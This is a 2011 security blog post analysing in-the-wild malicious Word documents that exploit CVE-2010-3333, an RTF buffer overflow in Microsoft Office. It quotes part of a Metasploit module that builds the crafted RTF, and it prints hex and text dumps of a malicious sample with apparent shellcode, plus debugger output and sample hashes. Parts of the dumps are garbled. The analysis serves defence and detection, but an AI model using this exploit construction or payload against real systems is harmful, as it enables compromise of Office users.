

# Resurrection of CVE-2010-3333 In-The-Wild

By Yaniv Miron • July 5th, 2011 • Cybercrime

During the last few weeks we've seen massive use of the CVE-2010-3333 vulnerability for Microsoft Office. This eight months old vulnerability is used in popular documents such as a document that pretends to be "President Obama's Speech"

Mcrosoft Office vulnerabilities have become very popular over the last few years and here are several samples that can be found In-The-Wild that use MS10-087 / CVE-2010-3333.

Abrief overview of the vulnerability can be found at mitre CVE-2010-3333

"Stack-based buffer overflow in Microsoft Office XP SP3, Office 2003 SP3, Office 2007 SP2, Office 2010, Office 2004 and 2008 for Mac, Office for Mac 2011, and Open XML File Format Converter for Mac allows remote attackers to execute arbitrary code via crafted RTF data, aka "RTF Stack Buffer Overflow Vulnerability."

As we can see there is an exploit that is a part of the Metasploit exploit framework:



Figure 1 – Metasploit main page

The vulnerability is actually an .RTF file type vulnerability but can be launched by using a .DOC file (not an actual .DOC file but a .DOC extension).

```
# Craft the array for the property value
sploit = "%d;%d;" % [el_size, el_count]
sploit << data.unpack('H*').first</pre>
sploit << rest.unpack('H*').first</pre>
# Assemble it all into a nice RTF
content = "\{ \setminus \text{rtf1}" \}
content << "{\\shp"
                                  # shape
content << "{\\sp"
                                  # shape property
content << "{\\sn pFragments}" # property name</pre>
content << "{\\sv #{sploit}}" # property value</pre>
content << "}"
content << ")"
content << ")"
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(content)
```

Figure 2 - Part of the exploit from Metasploit

### CVE-2010-3333 Sample Analysis

File Name: President Obama's Speech.doc

MD5: 35c33bbd97d7f5629d64153a1b3e71f1

The following analysis was performed via Word 2003.

Here we can see the text view of the file and we can clearly see that they are using CVE-2010-3333:

	<u>0 10 20 30 40 50 60 70 80 90 100 110 1</u>
1	{\rtf1{\shp{\*\shpinst{\sp[\sn pFragments}{\sv 1;100000000000000000000000000000000000
2	תממסמסבמסמסבמסמסבמסמסמסמסמסמסמסמסמסמסמסמ
3	bc83e8b5f683e3003434883f80075f66a003e8d5f7053513eff77683eff77643eff571c3eff77643eff57206a053eff77503eff57243e8b476848403
4	

. ... . .... . . . . . .





### Categories

Botnets
Cybercrime
General
Malware
Phishing
Reports
Social Networking
Spam
Vulnerabilities

## Archives 2011

2010	
2009	
2008	
2007	
2006	

5 6	IIII>IIIIypäéüúùè÷ööŐóön5¯iiüeéééçæásäsáàsÞÜÜÜÜØ×ÖŐ×ÓÓÑŐIÍÍİËËËËÇÆÄÄÓÄÁD¿₩4«°``.¶µ´³°;°®¬«*©`\$;Å"£¢ñ ŸŽĺu>šéœ—•´``'`` II
7	)  ]#±+ygcuaÿþyþúúú⊗÷öööööüïííiēēééçæásāá;àsžó,°⊗,Ø×ÖÝúÓÓÑàĨÍſüÉÉÉØÇÆÄÄÄÂÁ¿¾4∞°ú, ·v>ÆÀÒ°¯Ø″≪*©ÈŞ;¥c£c;àŸŽĺæ>ঈ™*—•″"/Ñ ]]
9	]]]]]]]]]]ÿpýuůúùæ÷öööööňöiiiieééèçæáääääB∲ÝÜÜÜÙØ×ÖÖÖÖŇÐĬĨÎÌÉÉÉÇÆÅÄÅÅÅ¿₩₩∞°`, '¶µ'''±*°®¬«*©'\$;¥¤£o; ŸŽ\z>ā™'*''''] ]]
.1 12	lll,elllll>@eggdEa÷56×z5å¯óíiæê•llzáÄaáaKcúáÝŰtěl\lL#,"P) IIIÎ1AÍ0@fÊÖ, (CMa«l)7u'Gló'¥´*±±¼lv⊊ '¥"B&CZ¤£οοc∞[,c)šlálb~"1mnDl' E" ·GFÅ=KlàkγÅÅz°-941 '×1210, ý-ÊÔ*) "^.k¥ī"BBaX-ll'M <l2 +fáúllló~lluúz€6460="" 261<="" i"ns1kll?uei="" td=""></l2>
.3 14	Ì*eúif÷ÅÛ2l*ÁøkpÎŞä\$;Lt t+lFltZ `* <sup>1</sup> ;11.¶p^;⊣ì/Î%iIø±;}ö¥tkϤÉú€Òc6{ÆsI™Ke}KKC»"ÏÜ""2rÅ<-%FÔü^!l*ú"" -å¯i©*}ç!";^l\$-DZlSri[/Žl u-/U ¤Ü*i-J?Ýúá-l*J -eć`l*ÍŞ %ø,li*xÄLÄÊ
15 16	Ó  @±±ærú5G; lf#u. lk8c¥ogŽZIŽ, °U£-'Óhæ6\2cæ*öoá>'ÜÖÖLE: ¦Bn<őÄ2,, °~>ôôø"@×ýl*lçŸ6ÿ}6Ÿ [/"NilQžýus3W£1°ü&Ül",K¤RňĚz%kK, lBDêýŏ×Áú<br *`Őx®l-lSf 8vùd#+lY*ê«ÓŠÄ
.7 18	©p^ii/7Årl <sup>-</sup> li°-ótt4lùR.Ő^\2׊(*^ÁSSÜUú`< <\) m04(fäv^]) mig*/21jhu.Uá* <umoi\5žøebe6#is£tő+fuonwsaltál,á*cüléðföllbøll; l*lkn%f(l)-ý7#bago%±^ll&wnf6%h)*ñs`fez?ejöpúzal@oló<="" td=""></umoi\5žøebe6#is£tő+fuonwsaltál,á*cüléðföllbøll;>
19	kÖln;åš*AYlúÚzī,)jbµwnlý§ llLl*SByz"öTs[MlúµV*1'Co>≠á;xlu6ùln/l]E*(*Å;zyxD¶øÈWcspo"éH{hing á@oca`_ö:88àlWVUg"SitBOMLl]mDGµ1"è( -{;hp]'u4aúŭEDW"1+*1 cxY12;å8iuôläå#+*1"BllllÍI
21 22	曚ﷺ—Ž@'l"ÀŠý¾¬úĺÍ÷&µólçÍÐĨ.'`ljłEGợâd «Ô"l^l¬Ū¤(>Î*Ó*ÀÿŹÍ¤ĂútĚ/lÁÄÄAlÌ:~É′ŇGF‡-ð´å@±@«ží¬Ä*™è§No¤£¢"d"a^~»ú™lglcá-,Ͱ IðDDUNO,R7ú1¬I™lR;lb"édá *«Þ9*2Ölel*AkrlP±CGAAgillihIIOK¶zÖ <h=sž)üý6^9jafe.g,ô?=lgsuìtüb&soillil@feőels2ql<ç`ìlżé«i̇yei^äåè~þýü< td=""></h=sž)üý6^9jafe.g,ô?=lgsuìtüb&soillil@feőels2ql<ç`ìlżé«i̇yei^äåè~þýü<>
23 24	]] ]]]]]]]]]]ÿþýüüúúa∉-öööööösïíiieêéèçæåääáàßÞÝÜÜÜÜØ×ÖÖÖÓÓŇÐĬĨÍIEÊÉĖÇÆÅÄÄÄÄ¿₩₩**°`, "¶µ´³*±°¯®⊣«*©~S;¥×£¢; ŸŽkz)š™*—•**''`] 
25	]]  ]] \$]]!! \$]]!!!!!!!!!!!!!!!!!!!!!!!!!!!
28	++m -talf="911]>1::1g6111111.  +111111 y1yyfudud=1#+112=¥+1.@=tefeff+0<1,hbl+==Z;j==*Oux#, 1#=Zzz===#2##Z=Di@=tbl0tDidtDdtBdt=StlfYz@DfZddzEdZddhi1kx1>Fy&Dude=Dd@ldeb  +111112+112100cd=10=111-112=112=112=112=112=112=112=112=112
30	+ΠΠΠΑ /]5).,5;15041@?/Π>.+15^ &12159/-]_DLAUIAQ[(0/.Α-10]ERDERFURD2E]Q"[Π\3647]3 Ū 
32	րատյյուրը տեսը՝ ընչուլ, ուրութ, լ., բուլ, ան ընչութ, որ դես ընչութ, որ դես ընչընցին է ընչընդերը, որ ընչընդերը,              խիմինինը-ՀՃՃՃՃՃՃԾՇՀՀՀՀՀՀՀՀՀՀՀՀՀՀՀՀՀՀՀՀՀՀՀՀՀՀՀՀՀՀ
34	

Figure 3 - Text view of CVE-2010-3333 sample

Lets examine the hex view of the file:

	, Ó	1	2	3	4	5	é	7	8	9	Ą	B	ç	Ď	E	F	0123456789ABCDEF
0000h:	7B	5C	72	74	66	31	7B	5C	73	68	70	7B	5C	2A	5C	73	{\rtf1{\*\s
0010h:	68	70	69	6E	73	74	7B	5C	73	70	7B	5C	73	6E	20	70	hpinst{\sn p
0020h:	46	72	61	67	6D	65	6E	74	73	7D	7B	5C	73	76	20	31	Fragments}{\sv 1
0030h:	3B	31	30	30	30	30	30	30	30	30	30	30	30	30	30	30	;1000000000000000
0040h:	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	DDDDDDDDDDDDDDDD
0050h:	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	DDDDDDDDDDDDDDDD
0060h:	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	DDDDDDDDDDDDDDDD
0070h:	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	DDDDDDDDDDDDDDDD
0080h:	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	DDDDDDDDDDDDDDDD
0090h:	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	DDDDDDDDDDDDDDDD
00A0h:	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	DDDDDDDDDDDDDDDD
00B0h:	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	DDDDDDDDDDDDDDDD
00C0h:	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	DDDDDDDDDDDDDDDD
00D0h:	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	DDDDDDDDDDDDDDDD
00E0h:	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	DDDDDDDDDDDDDDDD
00F0h:	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	DDDDDDDDDDDDDDDD
0100h:	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	DDDDDDDDDDDDDDDD
0110h:	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	DDDDDDDDDDDDDDDD
0120h:	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	DDDDDDDDDDDDDDDD
0130h:	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	DDDDDDDDDDDDDDDD
0140h:	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	DDDDDDDDDDDDDDDD
0150h:	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	DDDDDDDDDDDDDDDD
0160h:	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	DDDDDDDDDDDDDDDD
0170h:	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	DDDDDDDDDDDDDDDD
0180h:	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	DDDDDDDDDDDDDDDD
0190h:	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	DDDDDDDDDDDDDDDD
01A0h:	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	DDDDDDDDDDDDDDDD
01B0h:	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	DDDDDDDDDDDDDDDD
01C0h:	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	DDDDDDDDDDDDDDDDD
01D0h:	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	DDDDDDDDDDDDDDDD
01E0h:	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	DDDDDDDDDDDDDDDDD
01F0h:	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	44	DDDDDDDDDDDDDDDD

Figure 4 - Hex view of CVE-2010-3333 sample

Now, let's examine the beginning of the file:

 $\label{eq:linear} $$ \times $$ \ti$ 

#### From Mcrosoft Office Word 2003 Rich Text Format (RTF) Specification:

"Drawing Object Properties

The bulk of a drawing object is defined as a series of properties. The  $\{$  \shp ..... control word is followed by  $\{$  \\*\shpinst Following the  $\{$  \\*\shpinst is a list of all the properties of a shape. Each of the properties is in the following format:

{ \sp { \sn PropertyName } { \sv PropertyValueInformation } }

The control word for the drawing object property is \sp. Each property has a pairing of the name (\sn) and value (\sv) control words placed in the shape property group."

We see that it's an .RTF file type, that contains a "sn" (*Designates paragraph style.*) with a *PropertyName* "pFragments" (*Fragments are optional, additional parts to the shape. They allow the shape to contain multiple paths and parts. This property lists the fragments of the shape.*). After that, we see a "sv" that contains a value, a semicolon and a second value followed by a second semicolon and a third value. The third value is the cause of the buffer overflow.

Now that we've seen that hackers use the vulnerability In-The-Wild, let's try and get a better understanding of the vulnerability by using the **Metasploit** sample:

{\rtf1{\shp{\sp{\sp Pragments}{\sv 5;6;11111111acc8111...[SNIP]...

#### ASM Info:

30e9eb72 81e1ffff0000	and ecx,0FFFFh
30e9eb78 56	push esi
30e9eb79 8bf1	mov esi,ecx
30e9eb7b 0faf742414	imul esi,dword ptr [esp+14h]
30e9eb80 037010	add esi,dword ptr [eax+10h]
30e9eb83 8bc1	mov eax,ecx
30e9eb85 c1e902	shr ecx,2
30e9eb88 f3a5	rep movs dword ptr es:[edi],dword ptr [esi] ; Overflow!
<b>30e9eb88 f3a5</b> 30e9eb8a 8bc8	rep movs dword ptr es:[edi],dword ptr [esi] ; Overflow mov ecx,eax
<b>30e9eb88 f3a5</b> 30e9eb8a 8bc8 30e9eb8c 83e103	rep movs dword ptr es:[edi],dword ptr [esi] ; Overflow! mov ecx,eax and ecx,3
<b>30e9eb88 f3a5</b> 30e9eb8a 8bc8 30e9eb8c 83e103 30e9eb8f f3a4	rep movs dword ptr es:[edi],dword ptr [esi] ; Overflow mov ecx,eax and ecx,3 rep movs byte ptr es:[edi],byte ptr [esi]
<b>30e9eb88 f3a5</b> 30e9eb8a 8bc8 30e9eb8c 83e103 30e9eb8f f3a4 30e9eb91 5e	rep movs dword ptr es:[edi],dword ptr [esi] ; Overflow! mov ecx,eax and ecx,3 rep movs byte ptr es:[edi],byte ptr [esi] pop esi
<b>30e9eb88 f3a5</b> 30e9eb8a 8bc8 30e9eb8c 83e103 30e9eb8f f3a4 30e9eb91 5e 30e9eb92 5f	rep movs dword ptr es:[edi],dword ptr [esi] ; Overflow!         mov       ecx,eax         and       ecx,3         rep movs byte ptr es:[edi],byte ptr [esi]         pop       esi         pop       edi

#### Debugger info:

(100.3f8): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000c8ac ebx=05000000 ecx=00000023 edx=00000000 esi=025dc82c edi=00130000
eip=30e9eb88 esp=001237b8 ebp=001237f0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
...[SNIP]...
mso!Ordinal6426+0x64d:

30e9eb88 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]

#### In-The-Wild Samples

Here are few of the samples that we've found: **File Name:** 2011 Insider's Guide to Military Benefits .doc **MD5:** f520c8671ddb9965bbf541f20635ef30 **File Name:** President Obama's Speech.doc

MD5: 35c33bbd97d7f5629d64153a1b3e71f1

File Name: Q and A doc

MD5: 46863c6078905dab6fd9c2a480e30ad0

The samples use different shellcodes, but as we can see, the exploit is In-The-Wild and is being used by malicious hackers.

These types of attacks are blocked by M86 Security's Secure Web Gateway solution.

 Tags:
 CVE-2010-3333
 DOC | exploit | In-The-Wild | Malicious
 Code | Malware | MetaSploit | Office | President

 Coama | RTF | Vulnerabilities
 Coama | RTF | Vulnerabilities
 Code | Malware | MetaSploit | Office | President

Comments are closed.

Entries (RSS)